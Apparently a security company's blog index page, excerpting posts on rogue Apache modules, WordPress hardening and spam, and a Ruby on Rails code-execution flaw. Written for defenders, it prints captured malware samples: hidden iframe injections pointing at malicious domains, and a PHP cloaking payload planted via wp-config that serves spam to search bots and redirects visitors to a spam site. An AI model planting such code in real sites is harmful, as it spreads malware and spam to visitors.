Web Server Attacks – Apache Modules, Log Management and RELM

New year, same tricks, mostly because they work. That’s how we’re kicking off the new year folks.

In September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the rave. It seems every week we’re handling more and more cases, from private servers to large enterprises, being impacted by the same issue. As for the vector, in a good number of instances it comes down to access and in others vulnerabilities in software, software like PLESK.

What we have started to see is an evolution in these attacks. In one such case we saw two modules injected into the server. One was legitimate and was referencing another illegitimate module. Normal tactics failed to disclose it’s location. Monitoring the traffic of the server using tools like TCPDUMP did in fact show the infection was still present. We briefly wrote about some of these evolutions in a recent post, in which we articulate some of the things we are seeing. Fortunately, a lot of this comes down to the basics of knowing what your servers are running and what they are designed to do.

It’s for this reason that we’re pleading with organizations to apply better practice when managing their web servers. These servers are sitting between you, your environment, and your followers. They are prime targets and less and less focus is being placed on them.

Things you need to be doing:

  • Monitor your httpd.conf file (e.g., /etc/httpd/conf/httpd.conf)
  • Check the modules being loaded in your modules directory
  • Become vigilant with your logs
  • Practice the art of isolation


Read More

WordPress Security: 5 Steps To Reduce Your Risk

Often you hear the question, “What plugins should I use for WordPress Security?”. It’s a valid question, but I don’t think it’s the best approach if it’s the only question you’re asking, or the only action you’re taking. If you’re leaving the security of your blog to a plugin from a 3rd party alone, you’re doing it wrong!

WordPress-Security-Reduce-Risk-With-Less-Plugins
Risk reduction is the name of the game. A collective set of actions, tools, and processes all helping lower the risk of exploitation.

It’s Everyone’s Responsibility!

It starts with you. Follow these steps and you lower your risk floor significantly (without the use of a lot of plugins!):


Read More

WordPress 3.5.1 Released

The WordPress team just pushed out a new version of WordPress (3.5.1) that has some security bugs fixed. Straight from their release post, these are the security changes:

  1. A server-side request forgery vulnerability and remote port scanning using pingbacks. This vulnerability, which could potentially be used to expose information and compromise a site, affects all previous WordPress versions. This was fixed by the WordPress security team. We’d like to thank security researchers Gennady Kovshenin and Ryan Dewhurst for reviewing our work.
  2. Two instances of cross-site scripting via shortcodes and post content. These issues were discovered by Jon Cave of the WordPress security team.
  3. A cross-site scripting vulnerability in the external library Plupload. Thanks to the Moxiecode team for working with us on this, and for releasing Plupload 1.5.5 to address this issue.

There weren’t many changes in this release, but these are all the modified files:


Read More

Server Compromises – Understanding Apache Module iFrame Injections and Secure Shell Backdoor

There are many ways to inject a malicious payload onto a website. The attacker can modify any of the web files (index.php for example), the .htaccess file or php.ini (if the site is using PHP). There are other ways, but those are the most common methods, specially on shared hosts.

However, for the last year, we started to see a new way to inject malware on compromised servers via a malicious Apache module. We posted about it before and it has been covered on many other mediums. After a few months of tracking them, and working on multiple servers that had this issue, we want to share a bit of what we have learned.

Identifying the injection

First, a good way to identify if an infection is coming via the Apache module compromise is by looking at how the iframe is being inserted. They seem to always follow this pattern:

<style<.t1nhuhjv { position:absolute; left:-1619px; top:-1270px} </style> <div class=”t1nhuhjv”><iframe
src="httx://qotive. changeip.name/random/" width=”534″ height=”556″> </iframe></div>

or

<style>.q6umct6stl { position:absolute; left:-1284px; top:-1774px} </style> <div class="q6umct6stl”><iframe
src="httx://nujifa. longmusic.com/kdqjagzxwbakl/cdce48ffcf125f41206a9ed88675b56b/" width="367" height="411"></iframe></div>

The domain name changes very often (IP is often 62.75.235.48), as does the div class name and the iframe sizes. These are some of the domains we have tracked:

Read More

Website Security – The Importance of Access

Not sure why more emphasis isn’t put on access, but I’ll spend some time on it today. Understand though that this emphasis is not just something pulled out of the clouds. Instead it has come from months of thought and research – courtesy of client environments, enterprise incident handling cases and our own honey pots.

Website Security - Importance of Access

The Importance of Access

For some reason, what I have gathered, is that website owners, in their minds, think they are really ingenious. We think that what we know, no one else knows; the harsh reality is that’s so far from the truth. The are also those that buy into the idea that information security is an absolute, if only it were. Website owners have to learn to set their expectations, the InfoSec domain is about risk reduction. That is the first thing to understand.

While software vulnerabilities are a real threat, without tangible evidence, I am willing to bet that access is gaining ground on software vulnerabilities more than most realize. Still working on evidence to support this. A good thing to remember is that as a product becomes more secure, and the attack vectors decrease, access only increases in importance.

Read More

WordPress SPAM Causing Headaches

It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?

In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:

Sucuri Spam Detection

Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:


&#64require_once(ABSPATH . '/wp-includes/Text/cache.php');

You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:


<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}

?>

If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:

Sucuri SPAM Payload

What can I say, sometimes it’s all about following the cookie trail.

When removing be sure to remove the &#64require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.


Any questions let us know.

WordCamp Las Vegas 2012 – Tony Perez: WordPress Security – Dealing with Today’s Hacks

Here is a great presentation given by Tony Perez our COO in October of 2012 at WordCamp Las Vegas:

Ruby on Rails Vulnerability Leads to Remote Command Execution on Servers

As always, the year is kicking off with a bang. This is a public service announcement to get the word out on a very serious vulnerability found, and patched, on the Ruby on Rails application. It’s estimated that there are some 250k + websites using the application so it’s important the word gets out.

On January 8th a very serious vulnerability was released for the Ruby on Rails application. A number of proof of concepts (PoC) on how to exploit, demonstrating the seriousness have been posted on several forums and blogs. One of the better ones is on Ronin blog. The issues comes down to the parameter parsing component of the application, it contains a weakness that allows an attacker to bypass authentication systems, inject and execute arbitrary code and perform denial of service (DoS) attacks on any Ruby application.

It’s important to note that this vulnerability has since been patched and it’s imperative that if you’re using the Ruby on Rails application you update immediately.

The one attack vector that stands out from the rest is the arbitrary injection and execution of code at the server level. This means that the threat goes beyond your application and has the potential to penetrate further into your infrastructure and / or impact any neighboring applications that may not be built on Ruby on Rails. Instead of drafting the reasons this is so serious I’ll reference another good post that articulates and summarizes the issue well, on Code Climate:

Threat Agents: Anyone who is able to make HTTPs request to your Rails application.
Exploitability: Easy — Proof of concepts in the wild require only the URL of the application to attack a Ruby code payload.
Prevalence: Widespread — All Rails versions prior to those released on Tuesday are vulnerable.
Detectability: Easy — No special knowledge of the application is required to test it for the vulnerability, making it simple to perform automated spray-and-pray scans.
Technical Impacts: Severe — Attackers can execute Ruby (and therefore shell) code at the privilege level of the application process, potentially leading to host takeover.
Business Impacts: Severe — All of your data could be stolen and your server resources could be used for malicious purposes. Consider the reputation damage from these impacts.